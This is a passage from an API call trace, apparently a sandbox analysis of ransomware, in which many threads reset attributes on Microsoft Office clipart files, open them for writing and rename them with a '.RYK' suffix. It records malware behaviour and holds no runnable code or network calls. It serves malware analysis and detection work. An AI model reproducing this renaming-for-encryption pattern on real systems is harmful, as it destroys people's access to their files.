	[0235.313] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1611
	os_tid = 0x1f34

	[0234.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID", dwFileAttributes=0x80) returned 0
	[0235.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.311] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1612
	os_tid = 0x1f38

	[0234.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID", dwFileAttributes=0x80) returned 0
	[0234.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.959] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1613
	os_tid = 0x1f3c

	[0234.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF", dwFileAttributes=0x80) returned 0
	[0235.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.310] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1614
	os_tid = 0x1f40

	[0234.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF", dwFileAttributes=0x80) returned 0
	[0235.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.308] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.308] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1615
	os_tid = 0x1f44

	[0234.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF", dwFileAttributes=0x80) returned 0
	[0235.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.306] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1616
	os_tid = 0x1f48

	[0234.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF", dwFileAttributes=0x80) returned 0
	[0235.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.305] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.305] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1617
	os_tid = 0x1f4c

	[0234.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF", dwFileAttributes=0x80) returned 0
	[0235.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.304] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1618
	os_tid = 0x1f50

	[0234.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF", dwFileAttributes=0x80) returned 0
	[0235.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.302] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1619
	os_tid = 0x1f54

	[0235.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF", dwFileAttributes=0x80) returned 0
	[0235.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.301] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1620
	os_tid = 0x1f58

	[0235.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF", dwFileAttributes=0x80) returned 0
	[0235.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.300] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.300] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1621
	os_tid = 0x1f5c

	[0235.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF", dwFileAttributes=0x80) returned 0
	[0235.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.298] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.298] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1622
	os_tid = 0x1f60

	[0235.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF", dwFileAttributes=0x80) returned 0
	[0235.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.648] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.648] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1623
	os_tid = 0x1f64

	[0235.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF", dwFileAttributes=0x80) returned 0
	[0235.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.296] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1624
	os_tid = 0x1f68

	[0235.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF", dwFileAttributes=0x80) returned 0
	[0235.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.650] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.650] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1625
	os_tid = 0x1f6c

	[0235.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF", dwFileAttributes=0x80) returned 0
	[0235.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.651] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.651] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1626
	os_tid = 0x1f70

	[0235.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF", dwFileAttributes=0x80) returned 0
	[0235.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.653] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1627
	os_tid = 0x1f74

	[0235.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF", dwFileAttributes=0x80) returned 0
	[0235.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1628
	os_tid = 0x1f78

	[0235.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF", dwFileAttributes=0x80) returned 0
	[0235.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.655] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1629
	os_tid = 0x1f7c

	[0235.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF", dwFileAttributes=0x80) returned 0
	[0235.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.657] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.657] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1630
	os_tid = 0x1f80

	[0235.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF", dwFileAttributes=0x80) returned 0
	[0235.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.669] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.669] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1631
	os_tid = 0x1f84

	[0235.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF", dwFileAttributes=0x80) returned 0
	[0235.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.667] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.668] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1632
	os_tid = 0x1f88

	[0235.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF", dwFileAttributes=0x80) returned 0
	[0235.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.666] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1633
	os_tid = 0x1f8c

	[0235.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF", dwFileAttributes=0x80) returned 0
	[0235.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.664] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1634
	os_tid = 0x1f90

	[0235.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF", dwFileAttributes=0x80) returned 0
	[0235.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.662] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1635
	os_tid = 0x1f94

	[0235.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF", dwFileAttributes=0x80) returned 0
	[0235.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.660] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1636
	os_tid = 0x1f98

	[0235.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF", dwFileAttributes=0x80) returned 0
